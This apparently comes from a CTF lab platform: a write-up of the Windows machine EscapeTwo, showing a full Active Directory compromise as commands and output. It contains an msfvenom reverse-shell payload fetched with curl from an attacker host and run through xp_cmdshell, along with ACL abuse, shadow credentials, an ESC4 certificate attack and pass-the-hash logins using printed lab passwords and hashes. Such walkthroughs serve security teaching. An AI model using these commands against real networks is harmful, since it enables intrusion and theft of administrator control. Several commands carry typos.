EscapeTwo is a easy windows machine created by and . The user rose is authenticated in SMB and we found Accounting Department Share which contains the files. The file contains the password for sql_svc user. By using the sql_svc credentials and leveraging xp_cmdshell we get the shell. The sql configuration file contains the password for user ryan. The shell is accessed using evil-winrm. The bloodhound shows us that the ryan has some privileges over ca_svc. The privileges is used to modify ownership of ca_svc. Gaining the full-control over ca_svc, the vulnerable certificate DunderMifflinAuthentication is found, which is vulnerable to ESC4 attack and which is exploited to privilege escalated into Administrator.
OS
Difficulty
Points
Release Date
Retired Date
Windows
Easy
20
11-01-2025
24-05-2025
The credentials is given for the following account rose / KxEPkKe6R8su.
OSINT
Previous Machines
The retired Escape Machine is a medium difficulty Windows machine. The machine allows the guest user in SMB and gets the credientials for MSSQL. The database stores the crackable hash of user ryan.cooper and we can get shell via winrm using the credentials. The enumeration of user ryan reveals that the vulnerable certificate template is exploitable to ESC1 attack and gain the administrator certificate and uses it to get the administrator hash.
Enumeration
Nmap
Started the nmap scan and found the Active Directory running.
nmap -Pn -sC -sV --min-rate=500 10.10.11.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-11 20:26 EST
Nmap scan report for 10.10.11.51
Host is up (1.8s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-12 01:27:08Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-01-12T01:28:52+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-01-12T01:28:50+00:00; 0s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2025-01-12T01:28:51+00:00; 0s from scanner time.
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-11T19:02:17
|_Not valid after: 2055-01-11T19:02:17
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
|_ssl-date: 2025-01-12T01:28:51+00:00; 0s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T01:28:50+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-01-12T01:28:15
|_ start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 140.05 seconds
Add sequel..htb and DC01.sequel.htb in /etc/hosts file.
SMB - rose
The given credentials can be used to authenticate into SMB.
nxc smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
Enumerating the shares and downloading all the files from the share.
Checking both the files in linux system reveals that they are compressed files.
file accounts.xlsx
accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified, last modified Sun, Jun 09 2024 10:47:44, uncompressed size 681, method=deflate
Extract the accounts.xlsx file and enumerate the files.
I have prettified the xml for more readability. You will get two lines of xml only.
MSSQL - sa
The above sa user password can be used to authenticate into mssql.
nxc mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --no-bruteforce --local-auth
[*] Initializing NFS protocol database
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
The database doesn't contains any credentials so we are going to use the xd_cmdshell of SQL for getting shell as sql_svc user.
Foothold
Shell - sql_svc [ xd_cmdshell ]
1
Create the exe file using msfvenom.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.17 LPORT=8443 -f exe > payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
2
Open the python http server.
python3 -m http http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
3
Run metasploit.
sudo msdb run
[msf](Jobs:0 Agents:0) >> use windows/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) payload(windows/meterpreter/reverse_tcp) >> set LHOST 10.10.16.17
LHOST => 10.10.16.17
[msf](Jobs:0 Agents:0) payload(windows/meterpreter/reverse_tcp) >> set LPORT 8443
LPORT => 8443
[msf](Jobs:0 Agents:0) payload(windows/meterpreter/reverse_tcp) >> exploit -j
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 10.10.16.17:8443
[msf](Jobs:1 Agents:0) payload(windows/meterpreter/reverse_tcp) >>
4
Upload the exe file using xp_cmdshell via nxc.
nxc mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --no-bruteforce --local-auth -x 'curl "http://10.10.16.17:8000/payload.exe" -o "C:\Windows\Temp\payload.exe"'
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
[23:15:50] ERROR Error when attempting to execute command via xp_cmdshell: timed out mssqlexec.py:28
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec
5
Execute the exe.
nxc mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --no-bruteforce --local-auth -x 'C:\Windows\Temp\payload.exe'
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
[23:17:52] ERROR Error when attempting to execute command via xp_cmdshell: timed out mssqlexec.py:28
[23:17:57] ERROR [OPSEC] Error when attempting to disable xp_cmdshell: timed out mssqlexec.py:34
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec
6
We got the shell in metasploit.
[msf](Jobs:1 Agents:0) payload(windows/meterpreter/reverse_tcp) >> [*] Sending stage (177734 bytes) to 10.10.11.51
[*] Meterpreter session 1 opened (10.10.16.17:8443 -> 10.10.11.51:56764) at 2025-01-12 20:39:13 -0500
sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows SEQUEL\sql_svc @ DC01 10.10.16.17:8443 -> 10.10.11.51:56764 (10.10.11.51)
Privilege Escalation
Shell - ryan
The pillaging of C:/Users directory reveals that the user ryan is present.
[msf](Jobs:1 Agents:1) payload(windows/meterpreter/reverse_tcp) >> sessions 1
[*] Starting interaction with 1...
(Meterpreter 1)(C:\Windows\system32) > cd C:/Users
(Meterpreter 1)(C:\Users) > ls
Listing: C:\Users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 8192 dir 2024-12-25 06:10:09 -0500 Administrator
040777/rwxrwxrwx 0 dir 2018-09-15 03:28:48 -0400 All Users
040555/r-xr-xr-x 8192 dir 2024-06-09 07:17:29 -0400 Default
040777/rwxrwxrwx 0 dir 2018-09-15 03:28:48 -0400 Default User
040555/r-xr-xr-x 8192 dir 2025-01-12 17:57:32 -0500 Public
100666/rw-rw-rw- 174 fil 2018-09-15 03:16:48 -0400 desktop.ini
040777/rwxrwxrwx 8192 dir 2024-06-09 07:15:48 -0400 ryan
040777/rwxrwxrwx 8192 dir 2024-06-08 19:16:48 -0400 sql_svc
(Meterpreter 1)(C:\Users) >
The C:/ directory has a SQL2019 directory and pillaging the directory we got the config file of MSSQL which contains the ryan password.
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
Pillaging - ryan
Running the whoami /all command reveals that the user is the group member of Certificate Service DCOM Access.
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
=========== ============================================
sequel\ryan S-1-5-21-548670397-972687484-3496335370-1114
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
SEQUEL\Management Department Group S-1-5-21-548670397-972687484-3496335370-1602 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Bloodhound - ryan -> ca_svc [ path ]
Thenxc can also be used as bloodhound ingester. Start the neo4jdatabase, run the nxc and upload the zipped file in bloodhound.
sudo neo4j start
[sudo] password for dexter:
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Starting Neo4j.
Started neo4j (pid:117125). It is available at http://localhost:7474
There may be a short delay until the server is ready
nxc ldap 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' --bloodhound --collection all --dns-server 10.10.11.51
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.51 389 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3
LDAP 10.10.11.51 389 DC01 [-] Account not found in the BloodHound database.
LDAP 10.10.11.51 389 DC01 Resolved collection methods: acl, group, trusts, session, psremote, objectprops, localadmin, dcom, container, rdp
LDAP 10.10.11.51 389 DC01 Done in 01M 42S
LDAP 10.10.11.51 389 DC01 Compressing output into /home/dexter/.nxc/logs/DC01_10.10.11.51_2025-01-19_075817_bloodhound.zip
The ryan user has some of the privileges in ca_svc account which can be used for further escalation.
The WriteOwner privilage can be used to modify the ownership of ca_svc account to ryan for privilege escalation.
The ca_svc is a member of cert publishers which allows the user to manage certificate templates and publish certificates.
WriteOwner Abuse - changing ca_svc owner to ryan
1
Set the ownership of ca_svc to ryan by abusing WriteOwner privilage.
bloodyAD --host DC01.sequel.htb -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc
2
Granting ryan the full control over ca_svc account.
./dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250119-084205.bak
[*] DACL modified successfully!
Shadow Credentials Attack - Getting NT hash [ ca_svc ]
Now we can add new certificate for shadow credentials attack and retrieve NT hash of that object. More details about it, is given in the link below.
1
Add the new certificate.
pywhisker -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --target 'ca_svc' --action add
[*] Searching for the target account
[*] Target user found: CN=Certification Authority,CN=Users,DC=sequel,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: ae47c312-590b-ce51-1e08-95e55003bccf
[*] Updating the msDS-KeyCredentialLink attribute of ca_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: JXWcdKwh.pfx
[*] Must be used with password: OonVgV5IJ133IQs4Jyge
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
2
Getting authentication into DC using a newly created certificate.
certipy cert -pfx JXWcdKwh.pfx -password OonVgV5IJ133IQs4Jyge -export -out ca_svc.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'ca_svc.pfx'
3
Getting NT hash
certipy auth -pfx ca_svc.pfx -u ca_svc -domain sequel.htb -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Got hash for 'ca_svc@sequel.htb': aad3b435b51404eeaad3b435b51404ee:3b181b914e7a9d5508ea1e20bc2b7fce
Note: If Clock skew too great error occur use ntpdate to synchronize date and time with the machine.
sudo ntpdate 10.10.11.51
2025-01-19 20:27:11.620925 (+0000) -1066.322115 +/- 0.145228 10.10.11.51 s1 no-leap
CLOCK: time stepped by -1066.322115
Pillaging - Certificate Templates
The certify is used for enumerating and finding vulnerable certificate templates.
1
Export the ticket as environment variable.
export KRB5CCNAME='ca_svc.ccache'
2
Finding vulnerable certificate templates.
certipy find -k -target DC01.sequel.htb -dc-ip 10.10.11.51 -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250119094630_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250119094630_Certipy.txt'
[*] Saved JSON output to '20250119094630_Certipy.json'
3
The json report reveals the vulnerable DunderMifflinAuthentication template and ESC4 attack path.
According to the json report the Cert Publishers has a Full Control, Write Owner, Write Dacl, Write Property principals and these permissions is vulnerable to ESC4 attack.
Shell - Administrator [ ESC4 Attack ]
ESC4 is an attack vector that exploits weak access control lists (ACLs) on Active Directory Certificate Services (AD CS) certificate templates. This attack allows a user to modify the configuration of a certificate template, potentially leading to privilege escalation within a domain. You can find more depth details about the ESC4 attack in below hacktricks article.
1
Select the vulnerable template [ DunderMifflinAuthentication ] by overwriting the configuration using certipy to make it vulnerable.
certipy template -k -template DunderMifflinAuthentication -target DC01.sequel.htb -dc-ip 10.10.11.51 -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'
2
Request a certificate for administrator.
certipy req -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -u 'ca_svc' -ca 'sequel-DC01-CA' -target 'DC01.sequel.htb' -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn 'administrator@sequel.htb' -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[+] Trying to resolve 'DC01.sequel.htb' at '10.10.11.51'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 17
[*] Got certificate with multiple identifications
UPN: 'administrator@sequel.htb'
DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'
3
Request Administrator TGT.
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'administrator@sequel.htb'
[1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Login via winrm using the above hash through evil-winrm.
evil-winrm -i 10.10.11.51 -u 'administrator' -H 7a8d4e04986afa8ed4060f75e5a0b3ff
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Proof of Concepts
The below video provides the PoC of EscapeTwo machine.
The user.txt file contains the user flag which is located in the Desktop directory
The root.txt file contains the user flag which is located in the Desktop directory
